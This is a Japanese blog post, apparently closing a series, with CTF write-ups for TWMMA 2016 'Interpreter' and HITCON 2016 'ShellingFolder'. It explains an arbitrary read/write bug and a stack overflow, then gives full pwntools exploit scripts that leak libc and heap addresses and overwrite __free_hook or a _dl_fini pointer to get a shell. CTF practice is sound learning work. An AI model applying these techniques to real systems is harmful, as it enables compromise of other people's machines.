pwn challenges list easy writeup その10
前回
[TWMMA CTF 2016] Pwn Interpreter
ELF 64bit、RELRO, SSP, NX, PIE有効。
$ file befunge befunge: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=e48a79ecf9efbae445180bf178f0861ed3d528db, stripped $ checksec befunge [*] '/home/hnoson/ctf/twctf/2016/interpreter/befunge' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
$ ./befunge Welcome to Online Befunge(93) Interpreter Please input your program. > "string"v > v<< > >@ ...
Befungeという言語があるらしい。
Befunge - Wikipedia
を見てみるとp
とg
がいかにも怪しいのでコードを見てみる。
命令とそれを実行する関数のアドレスの一覧は以下のスクリプトをgdbに流せば得られる。
set $base = 0x555555554000 b *($base + 0xdf8) c set $ptr = $rbp set $c = 0x20 while (*(int *)($ptr) != 0) set $addr = $rbp + *(int *)($ptr) - $base if $addr != 0x1119 p/c $c p/x $addr end set $ptr = $ptr + 4 set $c = $c + 1 end
Breakpoint 1, 0x0000555555554df8 in ?? () $1 = 32 ' ' $2 = 0x112e $3 = 33 '!' $4 = 0x1037 $5 = 34 '"' $6 = 0xeb3 $7 = 35 '#' $8 = 0xe82 $9 = 36 '$' $10 = 0x10a7 $11 = 37 '%' $12 = 0xfe2 $13 = 38 '&' $14 = 0xec2 $15 = 42 '*' $16 = 0xf91 $17 = 43 '+' $18 = 0xf45 $19 = 44 ',' $20 = 0xf25 $21 = 45 '-' $22 = 0xf6a $23 = 46 '.' $24 = 0xf01 $25 = 47 '/' $26 = 0xfb9 $27 = 58 ':' $28 = 0x1056 $29 = 60 '<' $30 = 0xe05 $31 = 62 '>' $32 = 0xe14 $33 = 64 '@' $34 = 0xe91 $35 = 92 '\\' $36 = 0x1078 $37 = 94 '^' $38 = 0xe32 $39 = 95 '_' $40 = 0xe41 $41 = 96 '`' $42 = 0x100b $43 = 103 'g' $44 = 0x10b3 $45 = 112 'p' $46 = 0x10e3 $47 = 118 'v' $48 = 0xe23 $49 = 124 '|' $50 = 0xe61 $51 = 126 '~' $52 = 0xee5
まずg
はpopした値をチェックせずにプログラムの先頭のアドレス(0x201fe0
)に足して値を取ってきているためプログラム外のアドレスにもアクセスできる。これでlibcと.textのアドレスをリークできる。
p
も同様に値のチェックを行っていないため任意のアドレスに書き込みができる。
この問題ではlibcを与えられていないがGOTにある複数の関数のアドレスがリークできるのでlibcは特定できるとする(ので手元のlibcを使う)。
_dl_fini
で呼び出される関数が読み書き可能な領域に格納されていたため、そこのアドレスをone-gadget RCEのアドレスに書き換えてシェルを呼び出した。
#!/usr/bin/env python from pwn import * import math def leak(addr): for i in range(8): diff = addr - program_addr s.sendline(str(diff % 0x50)) s.sendline(str(diff // 0x50)) addr += 1 # libcと.bssの差分がintに入りきらないため平方根を取って後から掛ける def divide(val): x = int(math.sqrt(val)) s.sendline(str(x)) s.sendline(str(x)) s.sendline(str(val - x * x)) def overwrite(diff, val): for v in p64(val): s.sendline(str(ord(v))) s.sendline(str(diff % 0x50)) divide(diff // 0x50) diff += 1 if __name__ == '__main__': s = process('./befunge') elf = ELF('./befunge') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') sp_addr = 0x202024 program_addr = 0x202040 stack_addr = 0x202820 program = [ '&&g,' * 0x10 + 'v', 'v' + '<' * 0x4f, '>' + '&&&&*&+p' * 8 + '@' ] program += [''] * (0x7d0 // 0x50 - len(program)) for line in program: s.sendlineafter('> ', line) leak(elf.got['puts']) libc_base = u64(s.recv(8)) - libc.symbols['puts'] log.info('libc base: %#x' % libc_base) leak(0x202008) text_base = u64(s.recv(8)) - 0x202008 log.info('text base: %#x' % text_base) # https://github.com/david942j/one_gadget one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147] overwrite(libc_base + 0x5f0f48 - (text_base + program_addr), libc_base + one_gadgets[3]) s.recvuntil('Program exited\n') s.interactive()
[HITCON CTF 2016] Pwn 200 ShellingFolder
ELF 64bit、RELRO, SSP, NX, PIE有効。
% file shellingfolder shellingfolder: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped % checksec shellingfolder [*] '/home/vagrant/ctf/hitconctf/2016/shellingfolder/shellingfolder' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
ubuntu-xenial% ./shellingfolder ************************************** ShellingFolder ************************************** 1.List the current folder 2.Change the current folder 3.Make a folder 4.Create a file in current folder 5.Remove a folder or a file 6.Caculate the size of folder 7.Exit ************************************** Your choice:
- フォルダ内のファイルを表示する
- 名前を指定してフォルダを移動する
- 名前を指定してフォルダを作る
- 名前とサイズを指定してファイルを作る
- 名前を指定してフォルダかファイルを消す
- フォルダ内のファイルのサイズを足して表示しフォルダのサイズに加算する
このプログラムは実際にファイルシステムを弄っているわけではなく以下の構造体に情報を管理している
struct folder { folder *files[10]; // 0x0 folder *parent; // 0x50 char name[0x20]; // 0x58 int size; // 0x78 int is_folder; // 0x80 }; folder *root; // 0x202018 folder *current; // 0x202020
脆弱性は6.Caculate the size of folder
にある。
size_ptr
がrbp-0x18
、name
がrbp-0x30
にあるが、current folderのsizeへのポインタをsize_ptr
に格納した後name
に最大0x20bytes書き込むためオーバーフローしてsize_ptr
を上書きすることができ、任意のアドレスの値に加算ができる。また、画像にあるstrcpy
はnull終端しない実装になっている。
heap addressのリーク
上のスクリーンショットにあるようにname
を出力しているため、name
を0x18bytes埋めることでsize_ptr
つまりheapのアドレスをリークできる。
libc addressのリーク
まず適当なchunkをfreeしてから上記の脆弱性を使ってcurrent->files[0]
を書き換え、current->file[0]->name
がfreeされたchunkのfdを指すように調整すれば1.List the current folder
でlibcのアドレスをリークできる。
/bin/shの実行
後は__free_hook
をone-gadget RCEに書き換えて/bin/shを実行する。
#!/usr/bin/env python from pwn import * def show(): s.sendlineafter('choice:', '1') def change(name): s.sendlineafter('choice:', '2') s.sendlineafter('Folder :', name) def make(name): s.sendlineafter('choice:', '3') s.sendafter('Folder:', name) def create(name, size): s.sendlineafter('choice:', '4') s.sendafter('File:', name) s.sendafter('File:', str(size)) def remove(name): s.sendlineafter('choice:', '5') s.sendlineafter('file :', name) def calc(): s.sendlineafter('choice:', '6') s = process('./shellingfolder', env = {'LD_PRELOAD': './libc.so.6'}) elf = ELF('./shellingfolder') libc = ELF('./libc.so.6') create('A' * 0x18, 0) calc() s.recvuntil('A' * 0x18) heap_base = u64(s.recvuntil(' : ')[:-3].ljust(8, '\0')) - 0x88 log.info('heap base: %#x' % heap_base) create('A' * 0x18 + p64(heap_base + 0x18)[:-1], -0xe8) remove('A' * 0x18) calc() show() s.recvline() libc_base = u64(s.recvline(False).ljust(8, '\0')) - 0x3c3b78 log.info('libc base: %#x' % libc_base) one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897] one_gadget = libc_base + one_gadgets[1] make('A') change('A') create('A' * 0x18 + p64(libc_base + libc.symbols['__free_hook'])[:-1], u32(p64(one_gadget)[:4])) create('A' * 0x18 + p64(libc_base + libc.symbols['__free_hook'] + 4)[:-1], u32(p64(one_gadget)[4:])) calc() create('A', 0) remove('A') s.interactive()
pwn challenges list easy終了!
最後に
約1年かかってしまったが最後の方は解析とデバッグが早くなってペースが上がっていた気はする
easyの問題のレベルはeasyの割には高い気がして(最近のCTFではこれより簡単な問題はほとんど出ないが)すぐに解法が思いつく問題が少なくて割と面白かった
writeupはもう書かないと思うけど引き続き頑張るぞ